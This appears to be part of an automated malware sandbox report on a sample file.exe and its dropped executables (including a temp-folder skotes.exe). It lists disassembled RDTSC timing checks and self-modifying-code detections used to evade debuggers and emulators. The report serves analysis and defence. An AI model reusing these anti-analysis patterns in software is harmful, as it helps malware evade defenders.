Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA087C second address: 4EA08DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F654CE0FA17h 0x00000009 and al, FFFFFFEEh 0x0000000c jmp 00007F654CE0FA19h 0x00000011 popfd 0x00000012 mov edx, eax 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov esi, dword ptr [ebp+0Ch] 0x0000001a pushad 0x0000001b mov ah, 62h 0x0000001d mov bl, 43h 0x0000001f popad 0x00000020 test esi, esi 0x00000022 jmp 00007F654CE0FA0Ch 0x00000027 je 00007F65BD9BD4EDh 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 mov bx, ax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA08DC second address: 4EA09A7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F654C734E68h 0x00000008 or ecx, 62A600F8h 0x0000000e jmp 00007F654C734E5Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov si, 962Fh 0x0000001a popad 0x0000001b cmp dword ptr [75AB459Ch], 05h 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F654C734E60h 0x00000029 xor cl, 00000058h 0x0000002c jmp 00007F654C734E5Bh 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007F654C734E68h 0x00000038 sbb cx, 65B8h 0x0000003d jmp 00007F654C734E5Bh 0x00000042 popfd 0x00000043 popad 0x00000044 je 00007F65BD2FA98Ah 0x0000004a pushad 0x0000004b mov ecx, 4985D60Bh 0x00000050 mov ch, C7h 0x00000052 popad 0x00000053 push ebp 0x00000054 jmp 00007F654C734E68h 0x00000059 mov dword ptr [esp], esi 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F654C734E67h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA09A7 second address: 4EA09AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA09AD second address: 4EA09B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EA09B1 second address: 4EA09B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7A7AB6 second address: 7A7ACB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7ACA94 second address: 7ACA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7ACA9A second address: 7ACAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7ACAA3 second address: 7ACACB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jp 00007F654CE0FA3Bh 0x0000000d jmp 00007F654CE0FA17h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7ACACB second address: 7ACACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7ACC2E second address: 7ACC57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Fh 0x00000007 jmp 00007F654CE0FA0Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jl 00007F654CE0FA06h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7ACC57 second address: 7ACC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AD061 second address: 7AD07E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AD07E second address: 7AD08F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F654C734E58h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AD1F4 second address: 7AD200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F654CE0FA06h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AD200 second address: 7AD204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AD204 second address: 7AD20A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AD20A second address: 7AD21B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007F654C734E5Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AD21B second address: 7AD223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AD363 second address: 7AD36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AD36B second address: 7AD380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F654CE0FA06h 0x0000000a popad 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jg 00007F654CE0FA06h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AD380 second address: 7AD386 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AEC73 second address: 7AEC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AEC78 second address: 61DCB5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F654C734E6Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 1EA3278Ah 0x00000011 ja 00007F654C734E5Ch 0x00000017 push dword ptr [ebp+122D0CE1h] 0x0000001d mov dx, cx 0x00000020 call dword ptr [ebp+122D2B9Eh] 0x00000026 pushad 0x00000027 jne 00007F654C734E6Ch 0x0000002d xor eax, eax 0x0000002f cmc 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 jnc 00007F654C734E5Ch 0x0000003a sub dword ptr [ebp+122D29FCh], eax 0x00000040 cld 0x00000041 mov dword ptr [ebp+122D384Eh], eax 0x00000047 stc 0x00000048 mov esi, 0000003Ch 0x0000004d pushad 0x0000004e mov dword ptr [ebp+122D29FCh], edi 0x00000054 mov cx, D75Eh 0x00000058 popad 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d jmp 00007F654C734E5Dh 0x00000062 lodsw 0x00000064 pushad 0x00000065 xor dx, 8B7Ch 0x0000006a jmp 00007F654C734E64h 0x0000006f popad 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 jng 00007F654C734E57h 0x0000007a cld 0x0000007b mov ebx, dword ptr [esp+24h] 0x0000007f cld 0x00000080 nop 0x00000081 pushad 0x00000082 push eax 0x00000083 jmp 00007F654C734E61h 0x00000088 pop eax 0x00000089 push eax 0x0000008a push edx 0x0000008b push ebx 0x0000008c pop ebx 0x0000008d rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AED60 second address: 7AED64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AED64 second address: 7AED8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c jmp 00007F654C734E62h 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AED8D second address: 7AEDA8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F654CE0FA0Ch 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AEE04 second address: 7AEE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AEE09 second address: 7AEE6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jbe 00007F654CE0FA06h 0x00000014 popad 0x00000015 pop edi 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F654CE0FA08h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 or di, 8806h 0x00000038 movsx edx, di 0x0000003b call 00007F654CE0FA09h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AEE6C second address: 7AEE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AEE70 second address: 7AEE74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AEFE7 second address: 7AEFF1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F654C734E5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7AEFF1 second address: 7AF035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F654CE0FA0Ch 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F654CE0FA08h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a push 265B25EFh 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CD6C7 second address: 7CD6D9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F654C734E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F654C734E5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CD833 second address: 7CD876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F654CE0FA0Eh 0x0000000a jmp 00007F654CE0FA11h 0x0000000f jmp 00007F654CE0FA0Ah 0x00000014 jmp 00007F654CE0FA14h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CD876 second address: 7CD882 instructions: 0x00000000 rdtsc 0x00000002 js 00007F654C734E5Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CD9A4 second address: 7CD9C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F654CE0FA13h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDE26 second address: 7CDE2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDE2C second address: 7CDE40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA0Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDE40 second address: 7CDE45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDE45 second address: 7CDE69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F654CE0FA06h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007F654CE0FA15h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDE69 second address: 7CDE7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E62h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDE7F second address: 7CDE8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDE8D second address: 7CDEA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F654C734E5Eh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDFCD second address: 7CDFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDFD5 second address: 7CDFDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDFDB second address: 7CDFE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDFE2 second address: 7CDFFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E68h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CDFFE second address: 7CE034 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F654CE0FA06h 0x00000008 jng 00007F654CE0FA06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F654CE0FA16h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 js 00007F654CE0FA22h 0x0000001d push eax 0x0000001e push edx 0x0000001f jc 00007F654CE0FA06h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CE42C second address: 7CE4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E60h 0x00000009 popad 0x0000000a jbe 00007F654C734E62h 0x00000010 push ecx 0x00000011 jbe 00007F654C734E56h 0x00000017 jmp 00007F654C734E5Fh 0x0000001c pop ecx 0x0000001d je 00007F654C734E77h 0x00000023 jmp 00007F654C734E64h 0x00000028 jmp 00007F654C734E5Dh 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F654C734E61h 0x00000035 jmp 00007F654C734E5Bh 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CE4B0 second address: 7CE4BC instructions: 0x00000000 rdtsc 0x00000002 je 00007F654CE0FA0Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CE752 second address: 7CE756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CE756 second address: 7CE75A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CE75A second address: 7CE783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jnp 00007F654C734E56h 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f jne 00007F654C734E73h 0x00000015 pushad 0x00000016 jmp 00007F654C734E61h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7CF4CC second address: 7CF4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F654CE0FA08h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7D34DD second address: 7D34EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7D34EB second address: 7D34EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7D34EF second address: 7D34F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7D1EE5 second address: 7D1EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe RDTSC instruction interceptor: First address: 7D6F39 second address: 7D6F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E5Ah 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F654C734E85h 0x00000018 jmp 00007F654C734E68h 0x0000001d jmp 00007F654C734E67h 0x00000022 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 60EC13 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 60ED10 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 60C2D6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 83C99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Special instruction interceptor: First address: 61DD18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Special instruction interceptor: First address: 61DC4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Special instruction interceptor: First address: 7D354E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Special instruction interceptor: First address: 7D1CDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Special instruction interceptor: First address: 800A74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Special instruction interceptor: First address: 86BEC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Special instruction interceptor: First address: 102E9B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Special instruction interceptor: First address: 102C2DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Special instruction interceptor: First address: 11E3535 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 102E9B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 102C2DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 11E3535 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Special instruction interceptor: First address: 6246AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 45EBCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 45EAB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 6034DB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 61148B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 45EAF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 688949 instructions caused by: Self-modifying code
